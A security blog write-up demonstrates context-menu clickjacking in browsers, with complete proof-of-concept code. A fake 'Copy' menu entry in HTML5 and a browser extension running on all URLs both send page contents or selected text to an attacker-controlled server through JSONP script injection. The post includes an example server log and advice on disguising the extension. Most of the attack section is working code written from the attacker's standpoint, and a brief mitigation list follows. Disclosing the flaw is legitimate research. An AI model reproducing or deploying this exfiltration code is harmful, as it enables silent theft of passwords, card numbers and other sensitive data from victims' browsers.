We all know them, we all use them everyday — context menus. These are the handy little windows when right clicking on content, which enables you to select a wide variety of options to interact with the data that’s presented to you. Though what’s different is that they look slightly different from application to operating system, but generally keep the basic idea.

The Problem

While context menus are an integral part in any application or operating system, they could become a big security risk because they often times lack integrity and can be easily exploited.

The Victim

Our victim for this attack will be rather non-tech savvy people, as often times they will be interacting with context menus in browsers more frequently, because most people will most likely use things like shortcuts (e.g. CTRL+C, CTRL+V for interacting with text) more often. But don’t be fooled, it’s way harder to spot than you might think.

Getting Technical

As a developer, we can interact with context menus in a wide variety of ways through different APIs. For example, on macOS we can use an application called ‘Automator’ to create workflows through entries in the context menu, on an os level, but also in browsers like Chrome or Firefox. We’ll be looking specifically at browsers today.

Surprise

Since it’s nothing new to create your own context menu entries through extensions in browsers like Chrome or Firefox (if you don’t, well surprise!), but what I happen to come across a couple days ago is something questionable from a security standpoint.

Did you know that an HTML page can simply come along and add things to your context menu? Neither did I. Noted, this is only possible on the respective page. In the HTML5 specification you have a way to create context menu entries simply by adding the appropriate tags to your html file in the latest versions of Firefox (8+) and Internet Explorer (see the browser compatibility table here).

Well, great—you may say—but it still lacks integrity in a way that the user can differentiate a ‘third-party’ entry from a ‘legit’ one created by the application or operating system. This way of invading the user interface and essentially decoying the entry, is very questionable and should be improved.

Attack Vectors

As stated above, we have two different ways to access context menu APIs:

Extensions HTML5

Using either of those come with limitations but also important advantages. Both are very interesting in their own way. If we were to use the HTML5 specification, we’re limited to only being able to create entries on the respective HTML page, but not remove, alter or move any. On the other hand, if we use extensions, we’re presented with the possibilities to create, edit, move and delete the context menu entries on any HTML page the victim visits, as naturally extensions are present across different pages.

The Actual Attack

We’re going to use clickjacking to decoy a ‘Copy’ context menu entry (only in method two) and send potentially sensitive information such as passwords, API keys, addresses and names etc. to a remote server controlled by an attacker, to analyse the data.

The HTML5 Way

Let’s start off with the second method. In this method we’re going to use the menu and menuitem tags supported in Firefox and Internet Explorer to create an entry located at the very top of the context menu, which will look like this:

1 2 3 <menu type= "context" id= "cmenu" > <menuitem id= "context-copy" label= "Copy" onclick= "decoycopy();" ></menuitem> </menu>

The label attribute will display the text in the context menu entry, but did you also notice the onclick attribute which calls a Javascript function? Good. This is an integral part in this attack.

Now we will create a script tag and add some Javascript in order to send potentially sensitive information to a remote server. Initially, to call a remote server we could use an API container such as XMLHttpRequest and call it a day. But since someone clever thought of it being a potential security risk to silently call a remote resource in the background, browsers restrict cross-origin HTTP requests which are initiated from within scripts. Thus web applications using those APIs can only request HTTP resources from the same domain the application was loaded from unless we set something called Cross-Origin Resource Sharing (CORS) headers (you can read more about it here).

Bummer, so no way around it? Actually, there is a way. We can nonchalantly bypass CORS by using JSON with Padding (JSONP) and successfully call our remote server silently. It’s a way for sending JSON data without worrying about cross-domain issues and without using the XMLHttpRequest object — how convenient!

Ironically, by using JSONP we have to create a script element inside Javascript. So we add var script = document.createElement('script'); and document.getElementsByTagName('head')[0].appendChild(script); and last but not least the important part in retrieving the sensitive information, which is script.src = "http://remote.server/?payload=" + window.getSelection(); which will send the selected user text to the server. But that’s not enough of a security issue so we could alternatively use document.documentElement.innerHTML (URL encoded) or any other function and get all sorts of information sent to us to analyze. To round it all off and in order to cause harm for a long time and lower potential suspicion of the decoy copy entry, we actually copy the selected text of the victim without any special permission by adding document.execCommand("copy"); (which is supported since Firefox 41 and other major browsers). In the end using our HTML5 method, our attack page could look like this:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <!DOCTYPE html> <html contextmenu= "cmenu" > <head> <meta charset= "UTF-8" > </head> <body> <menu type= "context" id= "cmenu" > <menuitem id= "context-copy" label= "Copy" onclick= "decoycopy();" ></menuitem> </menu> <p> Just your usual sensitive information page: Name: Example Victim Address: Milky Way Road Pi/2, Galaxy 1 Credit Card: 1333 3333 3333 3337 Expires: 00/0000 </p> </body> <script> function decoycopy () { // Bypass CORS by using JSONP var script = document . createElement ( ' script ' ); script . src = " http://remote.server/?payload= " + document . documentElement . innerHTML ; document . execCommand ( " copy " ); // Actually write to clipboard document . getElementsByTagName ( ' head ' )[ 0 ]. appendChild ( script ); // Inject script tag into head } </script> </html>

If the clickjacking attack is successful we should see something like this in our remote server access_log file:

1 v.i.c.t.i.m.i.p - - [Day/Month/Year:00:00:00 +0000] "GET /?payload=%3Cmenu%20type=%22context%22%20id=%22cmenu%22%3E%20%20%3Cmenuitem%20id=%22context-copy%22%20label=%22Copy%22%20 [...] HTTP/1.1" 200 892 "-" "Mozilla/5.0 Gecko/20100101 Firefox/59.0"

Now we just have to analyse those log file entries for potentially sensitive information, which is rather easy.

The takeaway for using the HTML5 way is (from an attacker standpoint):

Pros:

It will not prompt for permissions (even allows us to write to clipboard), thus it’s silent

It covers a wide range of APIs and browser versions, thus a wide variety of potential victims

It uses Javascript and doesn’t require anything fancy like JQuery or similar to execute

Cons:

It can only create context menu entries

It’s executed on an attacker controlled page (or not, if it finds a way to get injected into a legit page)

The Extension Way

This is the first method. Basically, the general idea of using our attack method remains the same for extensions. What’s interesting now is that the victim doesn’t actually have to invoke the context menu and our extension will happily send the whole DOM to our access_log file on any page the victim visits (like banking sites etc.), which means we’re not tied to one page like in the HTML5 way.

For extensions we’re not restricted to only Firefox and Internet Explorer as we’re not going to use the HTML5 specification. We’ll look at Firefox first and then move on to Chrome.

Firefox

In order to create an extension, we have to create a folder and a file called manifest.json and the contents of the file should look like this:

1 2 3 4 5 6 7 8 9 10 11 12 { "name" : "ClickjackPoC" , "description" : "PoC for the context menu clickjacking attack" , "manifest_version" : 2 , "version" : "1" , "content_scripts" : [ { "matches" : [ "<all_urls>" ], "js" : [ "clickjack.js" ] } ] }

And our clickjack.js :

1 2 3 4 5 // Bypass CORS by using JSONP var script = document . createElement ( ' script ' ); script . src = " http://remote.server/?payload= " + document . documentElement . innerHTML ; document . execCommand ( " copy " ); // Not needed, can be commented out document . getElementsByTagName ( ' head ' )[ 0 ]. appendChild ( script ); // Inject script tag into head

Unfortunately for us and fortunately for the victim, Firefox blocks our copy command because it was not called from inside a short running user-generated event handler, we could add a permission in the manifest.json but it doesn’t matter anyway because we’re not using the context menu decoying method in this way.

The problem in Firefox is that our attack will not properly execute because it is blocking from loading mixed active content if the page visited by the victim is SSL encrypted because we’re calling our remote server over the HTTP protocol. Apart from that it will also throw a warning for failing to load the <script> tag (if we use the same Javascript), which draws our attack useless.

Chrome

For Chrome we will essentially use the same manifest.json and clickjack.js as above, but regarding the execution of our attack, it’s a different story. Not only will Chrome not block our copy command but it will also allow mixed active content with our attack and we will see our method successfully execute and receive entries to our access_log file.

The takeaway for using the extension way is (from an attacker standpoint):

Pros:

Works in Chrome

Victim doesn’t have to invoke context menu

Cons:

The extension has to be installed by the victim (could be masked as a legitimate extension with good intentions)

Doesn’t work in Firefox

Protecting Yourself

To mitigate such attacks as demonstrated I would advise to be aware of the following things:

Become suspicious by context menu entries off position where they usually are

Don’t install extensions you don’t trust and know what they do

Use keyboard shortcuts for interacting with content or functions in browsers

Ending Thoughts

Our beloved context menu could become a dangerous weapon as we’ve learned. I hope for developers to start visually differentiating third party context menu entries from the ones presented by the application.

Thank You

I’d like to thank you for reading through my writeup and would love to have you back whenever I release another one and would appreciate it if you share it.